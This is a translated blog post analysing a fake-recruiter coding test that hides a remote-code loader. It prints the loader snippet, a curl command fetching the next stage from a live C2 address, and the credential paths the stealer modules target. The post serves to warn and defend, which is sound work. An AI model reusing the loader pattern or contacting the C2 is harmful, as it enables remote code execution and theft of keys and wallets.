如何在求职面试中入侵你的系统

Hacker News Top 新闻

摘要

文章警告了一种钓鱼诈骗,求职者在LinkedIn面试中收到虚假的编程挑战,旨在入侵其系统。文章分析了恶意代码并提出了避免此类攻击的预防措施。

暂无内容
查看原文
查看缓存全文

缓存时间: 2026/08/20 16:17

# 如何通过一场面试让你的系统沦陷 来源:https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview 如何通过一场面试让你的系统沦陷 目录 - 如何开始 (https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview#how-it-begins) - 深入分析:第二阶段加载器 (https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview#a-closer-look-second-stage-loader) - 下次如何防范 (https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview#some-precaution-for-next-time) - 现在该怎么办 (https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview#what-now) 当前IT就业市场形势严峻。因此,当LinkedIn上的招聘人员联系你,并基于你的过往经历推荐一个合适的职位时,你可能会感到幸运。但事情可能并非初看时那样。 “一个相关的机会”——提供兼职远程工作和可观的时薪,这无疑吸引了很多软件工程师与新的LinkedIn工作邀约展开对话。我的一位朋友就遇到了这种情况。这个职位与他的过往经验非常匹配,加上LinkedIn上几轮沟通后快速发出的编程测试,让整个面试过程显得很高效。 提示 最初的联系是冒用一家公司的名义进行的,而该公司对此毫不知情。这是一种纯粹的网络钓鱼,旨在窃取你的机密和凭证。该公司对此事很清楚,并已在LinkedIn上发布帖子 (https://www.linkedin.com/posts/bitwayofficial_important-security-notice-beware-of-bitway-activity-7494503301426597888-22kA)说明情况。 在你开始测试之前,你可能对以下几点有所怀疑: - 联系你的人并非该公司在LinkedIn上的成员 - 在收到编程测试之前,没有进行第一次“互相了解”的电话沟通 - 测试使用的编程语言可能并非你所擅长的 - 代码托管在Bitbucket上,这在业内并不常见 - 发件人邮箱地址是`@gmail.com`,而非公司官方邮箱 事后诸葛亮,这里不做评判。 ## 如何开始 https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview#how-it-begins 任务是解决各种问题,并扩展现有TypeScript代码库中的逻辑。你收到的项目包含: - 大约180个文件 - 混合了无效和有效代码 - 没有混淆或压缩 ……但其中包含一些对外部`https://api.jsonbin.io`端点的调用。如果你没有仔细阅读这180个文件,你就上钩了。 以下是可疑的代码部分,它开始下载更多包以检查你的系统。 警告 这就是那个发送更多恶意负载的端点。小心!完整源代码可在该Bitbucket仓库 (https://bitbucket.org/bitway_network/coinvault/src/master/)找到。 ```javascript const initPriceConfig = async () => { const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d"; const res = (await axios.get(`${src}`)); const handler = new (Function.constructor)('require', res.data.record.model); if (handler) handler(require); }; initPriceConfig(); ``` 该应用程序的内部逻辑总是首先通过执行`npm run dev`、`npm start`等命令来运行此函数。由于它传入了`require`,因此它可以: - `require('child_process')` 用于执行shell命令 - `require('fs')` 用于读取/遍历文件系统,写入持久化数据 - `require('net')` / `require('https')` 用于建立自己的数据外泄通道 - 直接读取`process.env`,在该应用中这意味着MONGO_URI, JWT_SECRET, SENDGRID_API_KEY, CLOUDINARY_API_SECRET, PAYTM_MERCHANT_KEY 这些都是你绝对不希望在系统上发生的事情。 ## 深入分析:第二阶段加载器 https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview#a-closer-look-second-stage-loader 来自*jsonbin.io*端点的响应实际上是一个**远程代码执行加载器**。`record.model`负载是一个由24,686个字符组成的obfuscator.io (https://obfuscator.io/)混淆JavaScript代码,包裹在一个小型webpack打包文件外。 对返回的负载进行反混淆后,我们得到另一组混淆的JavaScript代码。这段代码从C2(命令与控制)服务器`http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5`拉取数据。 我能够使用以下命令获取下一段代码: ```bash curl -sS -v --max-time 30 \ -H 'Authentication: jwt' \ -H 'Accept: application/json, text/plain, */*' \ -A 'axios/1.5.3' \ -D headers.txt \ -o body.bin \ 'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5' ``` 它需要一个`Authentication`头,其中`jwt`作为令牌。此端点提供了更多混淆的JavaScript代码,特别是以下四个模块: **`scdata`**:一个交互式RAT(远程访问木马),包含`node-pty`全功能shell、用于横向移动和窃取PEM密钥的`ssh2`、用于屏幕捕获的`screenshot-desktop` + sharp、`clipboardy`、以及用于模拟键盘和鼠标的`@nut-tree-fork/nut-js`。它还能识别虚拟机与物理机。 **`ldata`**:浏览器凭证和钱包窃取器。支持所有三大操作系统上的Chrome/Edge/Brave/LT,每个配置文件:登录数据、Web数据、本地扩展设置LevelDB存储,以及macOS的login.keychain。它可以针对28种钱包扩展程序,如MetaMask、Phantom、Coinbase、Binance、TronLink、Trust、Keplr、Coin98、OKX、Rabby以及另外18种。它无限循环,大约每分钟重新上传一次数据。 **文件抓取器**:遍历用户主目录。它试图查找*私钥*、*助记词*、*\*metamask\**、*bitcoin*、*solana*、*\*.env*、*\*.pem*、*\*.p12*、*\*.pfx*,以及文档和图像,还有整个`.ssh`、`.aws`、`.gnupg`和`.docker`目录。此外,它还会枚举Windows上的所有驱动器盘符。 **剪贴板监控器**:监控你的剪贴板。它轮询剪贴板并发出信标,将自身隐藏在名为`npm-compiler.log`的日志名后面。 当受害者连接到`147.189.174.138:7321`时,服务器会在接受的套接字上看到源地址,就像任何Web服务器看到访问者的IP一样。无需发现,无需扫描,无需注册地址。这正是仅出站设计对攻击者如此便利的原因:它可以在NAT、CGNAT、企业代理或家庭路由器后面零配置工作,并且无论受害者IP如何变化都无关紧要。 你只想找一份工作,却打开了地狱之门。 **为什么它能访问你所有的文件?** 恶意软件获取当前用户的主目录,然后构建要查看的路径。 ```python rootDir = os.userInfo().homedir + '', configDir = [ path.join(os.homedir(), ".aws"), path.join(os.homedir(), ".ssh"), path.join(os.homedir(), ".azure"), path.join(os.homedir(), ".foundry"), path.join(os.homedir(), ".config"), //... ] ``` 它从不请求提权。它不需要`root`权限、UAC或`sudo`,因为它想要的东西都不属于root所有。SSH密钥、AWS凭证、浏览器配置文件、钱包数据、.env文件——所有这些按设计都属于用户所有,因为你需要经常读取它们。在你的账户下运行的进程继承了该访问权限。Node在这里并没有做任何特殊的事情,因为在shell中运行`cat ~/.ssh/id_rsa`效果完全相同。 在Windows上,它甚至不止于主目录,还通过PowerShell枚举驱动器盘符,并在每个根目录上调用scanDir,因此映射的网络驱动器和次级磁盘也在其范围内。 ## 下次如何防范 https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview#some-precaution-for-next-time 以下几点可能有所帮助,尽管没有任何方法能提供100%的保护。你只是不会想到来自工作机会代码片段中的这种东西。 - **AI**:一种弱保护。让你选择的AI工具扫描项目中的任何异常——混淆的代码、压缩、对外部端点的调用、不寻常的代码模式等。这只是一个部分解决方案,因为它会告诉你对*jsonbin.io*的调用,但无法看到返回值是什么。 - **Docker**:一种部分较弱的保护。将内容放入Docker并在容器内执行代码可以隔离你的主机系统,并且不会暴露任何存储的机密——只要你没有将主机数据挂载到容器中。 - **Vagrant**:可能是你最好的选择。在完全隔离的系统中运行代码可能甚至是最佳选择。提前为你的虚拟机创建快照,之后再恢复。如果没有UI/桌面环境,泄露浏览器数据或截图的模块会自我限制。不过,RAT和文件抓取器仍然有效。 请注意,该**RAT会主动识别**虚拟机环境。它会运行`system_profiler`,读取`/proc/cpuinfo`,并搜索`vmware`、`qemu`、`microsoft corporation`,然后将信标标记为(VM)或(Local)。该标志很可能供操作员进行分类处理:虚拟机更可能是沙箱,并且不太可能存储真实钱包,因此可能会被降低优先级或被更谨慎地处理。 *关于AI部分的说明*:Claude Code在仅被提示扫描代码库以寻找异常模式时,未能检测到任何*奇怪*的东西。 ## 现在该怎么办 https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview#what-now 当损害已经造成时,你或许应该: - 吊销并轮换SSH密钥 - 更改密码 - 检查是否有任何明文机密或信息需要更改 ……并重新安装你的操作系统——以防万一,安全总比后悔好。 与此同时,那个*“渔夫”*(假招聘者)的个人资料已被删除。 本文创建于2026年8月17日,并更新于2026年8月20日。

相似文章

LinkedIn职位邀请中的后门

Hacker News Top

一位安全研究员详细描述了如何通过伪装成真实开发者的虚假LinkedIn招聘人员发送一个GitHub仓库,该仓库包含一个后门,在执行npm install时触发,从而诱使目标运行恶意代码。